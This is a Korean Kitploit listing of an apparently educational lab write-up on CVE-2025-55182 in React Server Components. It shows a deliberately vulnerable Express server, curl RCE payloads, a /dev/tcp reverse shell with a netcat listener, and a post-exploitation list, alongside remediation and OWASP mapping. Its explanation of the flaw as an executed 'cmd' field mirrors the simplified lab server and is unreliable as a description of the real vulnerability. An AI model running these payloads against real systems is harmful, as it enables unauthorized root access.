Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2025-55182-analysis — 보안 연구 & CVE-2025-55182 (React) 익스플로잇 분석 — CVSS + OWASP Top 10 매핑 | Kitploit
도구/GitHubGitHub/mohamedniane/cve-2025-55182-analysis
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubmohamedniane/cve-2025-55182-analysis

cve-2025-55182-analysis

보안 연구 & CVE-2025-55182 (React) 익스플로잇 분석 — CVSS + OWASP Top 10 매핑

저장소 보기
4개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-55182 — React Server Components RCE 분석

웹 애플리케이션 취약점 분석 · M2 Cybersecurity · 2025 저자: Niane Mohamed · LinkedIn

React Server Components의 심각한(CVSS 10.0) 안전하지 않은 역직렬화 취약점에 대한 종단간 공격 체인으로, 정찰부터 인증되지 않은 원격 코드 실행, 완전한 수정 로드맵까지 다룹니다.


⚠️ 윤리적 고지

이 연구는 CVE를 시연하기 위해 구축된 의도적으로 취약한 실습 애플리케이션을 대상으로 합니다. 모든 테스트는 격리된 가상 네트워크에서 수행되었으며, 프로덕션 시스템, 실제 사용자 데이터 또는 타사 서비스와의 연결이 없었습니다.

  • 소유하지 않았거나 명시적인 서면 테스트 승인이 없는 시스템에 대해 이러한 기술을 실행하지 마십시오.
  • 취약한 애플리케이션을 인터넷에 연결된 네트워크에 배포하지 마십시오.
  • 책임 있는 공개 원칙이 적용됩니다. 항상 조정된 채널을 통해 결과를 보고하십시오.

목차

  1. 취약점 요약
  2. 영향받는 버전
  3. 실습 환경
  4. 공격 실습
  5. 영향 평가
  6. 수정
  7. 입증된 기술

취약점 요약

필드값
CVECVE-2025-55182
클래스안전하지 않은 역직렬화 → 원격 코드 실행
CVSS v3.110.0 (심각) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
필요한 인증없음
필요한 사용자 상호작용없음
공격 벡터네트워크 (원격)
구성 요소React Server Components (RSC) 런타임

취약점 작동 방식

React Server Components는 서버에서 렌더링된 컴포넌트를 클라이언트로 스트리밍하기 위해 새로운 직렬화 형식을 도입했습니다. 취약한 버전에서 RSC 엔드포인트는 서버 측 렌더링 평가의 일부로 cmd 필드를 포함한 JSON 페이로드를 받아 child_process.exec()에 전달합니다.

공격자는 다음과 같은 조작된 POST 요청을 보낼 수 있습니다:

  1. 합법적인 RSC 페이로드로 수락됨 (인증 없음, CSRF 없음)
  2. "렌더링" 중 서버 측 코드 실행 트리거
  3. Node.js 프로세스의 권한으로 실행됨 (종종 컨테이너 내 root)

영향받는 버전

구성 요소취약한 범위패치된 버전
react19.0.0 → 19.2.019.3.0+

실습 환경

대상 애플리케이션

들어오는 페이로드의 명령을 안전하지 않게 실행하는 /rsc 엔드포인트를 노출하는 최소한의 Express + RSC 서버입니다. 통제된 환경에서 실제 CVE의 취약점 패턴을 재현합니다:

root@kitploit:~
// server.js — 단순화된, 실습 전용
const express = require('express');
const { exec } = require('child_process');

const app = express();
app.use(express.json({ limit: '2mb' }));

app.post('/rsc', (req, res) => {
  const payload = req.body?.payload;
  if (typeof payload?.cmd === 'string') {
    // 취약: 공격자가 제어하는 문자열을 실행합니다
    exec(payload.cmd, { timeout: 10000 }, (err, stdout, stderr) => {
      if (err) return res.status(500).json({ error: String(err), stderr });
      return res.json({ ok: true, out: stdout });
    });
  }
});

app.listen(3000);

공격 실습

1단계 — 정찰

root@kitploit:~
# 포트 발견
nmap 192.168.159.131
# → 3000/tcp open  ppp  (Node.js RSC 서버)

# 서비스 확인
curl -v http://192.168.159.131:3000/
# → HTTP/1.1 200 OK
# → X-Powered-By: Express
# → "취약한 RSC 유사 테스트 서버입니다. JSON과 함께 POST /rsc를 사용하십시오..."

X-Powered-By: Express 헤더와 특이한 포트 3000은 이 서버가 RSC 배포와 일치하는 Node.js 애플리케이션임을 강력하게 식별합니다.

2단계 — 무해한 명령을 통한 확인

파괴적인 작업을 시도하기 전에 무해한 명령으로 취약점을 검증합니다:

root@kitploit:~
curl -X POST http://192.168.159.131:3000/rsc \
  -H "Content-Type: application/json" \
  -d '{ "payload": { "cmd": "id" } }'

# 응답:
# {"ok":true,"out":"uid=0(root) gid=0(root) groups=0(root)\n"}

✅ 확인됨: root로 인증되지 않은 RCE. 서버가 제한 없는 권한으로 실행됩니다.

3단계 — 리버스 셸

단일 명령 실행에서 전체 대화형 셸로 업그레이드:

root@kitploit:~
# 공격자 머신에서 리스너
nc -lvnp 4444

# 페이로드 전달
curl -X POST http://192.168.159.131:3000/rsc \
  -H "Content-Type: application/json" \
  -d '{ "payload": { "cmd": "/bin/bash -c \"/bin/bash -i >& /dev/tcp/192.168.159.128/4444 0>&1\"" } }'

리스너가 수신:

root@kitploit:~
connect to [192.168.159.128] from (UNKNOWN) [192.168.159.131] 43980
root@ns1:~/vulnerable_rsc_app# id
uid=0(root) gid=0(root) groups=0(root)

4단계 — 사후 침투 가능성 (시연, 실행되지 않음)

대상에서 root 권한을 가진 공격자는 쉽게 다음을 수행할 수 있습니다:

  • /etc/shadow, SSH 키, 애플리케이션 비밀, .env 파일 읽기
  • 지속성 확보 (cron 작업, systemd 서비스, SSH 키 삽입)
  • 발견된 자격 증명을 통한 측면 이동
  • 암호화폐 채굴기 또는 랜섬웨어 배포
  • 사용자 데이터를 조용히 캡처하도록 Node.js 애플리케이션 수정

영향 평가

(가상의 대상 시나리오에 대한) 비즈니스 영향

위협 행위자 프로필

이 공격의 낮은 복잡성(인증 불필요, 사용자 상호작용 불필요, 단일 HTTP 요청)은 다음에 매력적입니다:

  • 기회주의적 스캐너 (CVE를 자동 스캔하는 봇넷)
  • 초기 액세스 중개자 (랜섬웨어 그룹에 발판 판매)
  • 국가 행위자 (React 서버 렌더링을 사용하는 조직을 표적으로 삼음)

수정

즉시 (24시간 이내)

  1. React를 19.3.0+로 업그레이드 — 패치된 버전

    root@kitploit:~
    npm update react react-server-dom-webpack react-server-dom-esm
    
  2. 임시 WAF 규칙 (업그레이드가 지연되는 경우):

    root@kitploit:~
    "cmd" 필드가 포함된 JSON 본문이 있는 POST 요청을 /rsc로 차단
    
  3. 긴급 사고 대응:

    • 지난 90일간의 서버 액세스 로그 검토
    • 비정상적인 /rsc POST 트래픽 확인
    • 서버에서 액세스 가능한 모든 비밀 교체
    • 수정 전에 영향을 받은 시스템을 포렌식을 위해 스냅샷

단기 (2주 이내)

장기 (분기 내)

OWASP Top 10 매핑

OWASP 카테고리관련성
A03:2021 — 인젝션역직렬화된 입력을 통한 명령 인젝션
A08:2021 — 소프트웨어 및 데이터 무결성 실패무결성 검증 없는 안전하지 않은 역직렬화

입증된 기술

  • 취약점 분석: CVE 분류, CVSS 점수 매기기, 악용 가능성 평가
  • 정찰: Nmap 스캐닝, 서비스 핑거프린팅, 배너 그래빙
  • 공격: curl을 사용한 HTTP 조작, 리버스 셸 엔지니어링, 페이로드 제작
  • 프록시 도구: OWASP ZAP 인터셉션, 요청/응답 수정
  • 비즈니스 커뮤니케이션: 기술적 발견을 경영진 위험 언어로 변환
  • 수정 설계: 즉시/단기/장기 기간에 걸친 계층적 통제
  • 프레임워크: OWASP Top 10, CVSS v3.1, CWE 분류, GDPR/DSGVO 영향 평가

참고 자료

  • CVE-2025-55182 — NVD 항목 (인용 전 확인 필요)
  • React Server Components 문서
  • OWASP Top 10 — 2021
  • CVSS v3.1 명세서
  • CWE-502 — 신뢰할 수 없는 데이터의 역직렬화

라이선스

MIT 라이선스 — LICENSE 참조

교육 및 방어 연구 목적으로 게시되었습니다. 상단의 윤리적 고지를 참조하십시오.


연락처

Niane Mohamed — 네트워크 및 보안 엔지니어 📍 누악쇼트, 모리타니 → 독일에서 기회를 찾고 있습니다 🇩🇪 📧 [email protected] · 🔗 LinkedIn

도구 다운로드
react-server-dom-webpack
19.0.0 → 19.2.0
19.3.0+
react-server-dom-esm19.0.0 → 19.2.019.3.0+
역할OS도구
공격자Kali Linux (최신)nmap, curl, netcat, OWASP ZAP, Firefox
대상Ubuntu 22.04.4Node.js 18, Express, React 19.0 RSC
네트워크VMware VMnet Host-Only인터넷 외부 연결 없음
축영향설명
기밀성심각모든 서버 데이터에 대한 전체 읽기 액세스
무결성심각애플리케이션 코드와 사용자 데이터 수정 가능
가용성높음공격자가 서비스를 종료하거나 랜섬웨어로 잡을 수 있음
규제심각GDPR/DSGVO 위반으로 72시간 이내 공개 의무 · 전 세계 매출의 4% 벌금 가능
평판심각공개 CVE 매핑된 침해로 고객 신뢰 손상
재정적높음사고 대응, 규제 벌금, 잠재적 집단 소송
통제목적
사용하지 않으면 RSC 비활성화공격 표면 감소 — 많은 앱이 서버 컴포넌트를 필요로 하지 않음
엄격한 입력 유효성 검사실행 가능한 키를 포함하는 역직렬화된 객체 거부
루트가 아닌 컨테이너 사용자RCE 재발 시 폭발 반경 제한
읽기 전용 루트 파일 시스템지속성 및 바이너리 드롭 방지
이그레스 필터링앱 서버에서 임의 IP로의 아웃바운드 트래픽 차단
통제목적
행동 분석을 갖춘 WAF서명 규칙을 넘어 비정상적인 POST 페이로드 탐지
RASP (Runtime Application Self-Protection)런타임에 exec()와 같은 위험한 함수 호출 차단
CI/CD의 SCA배포 전 취약한 종속성 탐지 (pip-audit, npm audit, Trivy)
침투 테스트 주기매년 + 주요 릴리스 후
버그 바운티 프로그램공격자가 문제를 찾기 전에 화이트햇 공개 유도
A06:2021 — 취약하고 오래된 구성 요소공개 후 React 19.0-19.2 사용
A05:2021 — 보안 구성 오류Node.js를 root로 실행, 입력 유효성 검사 없음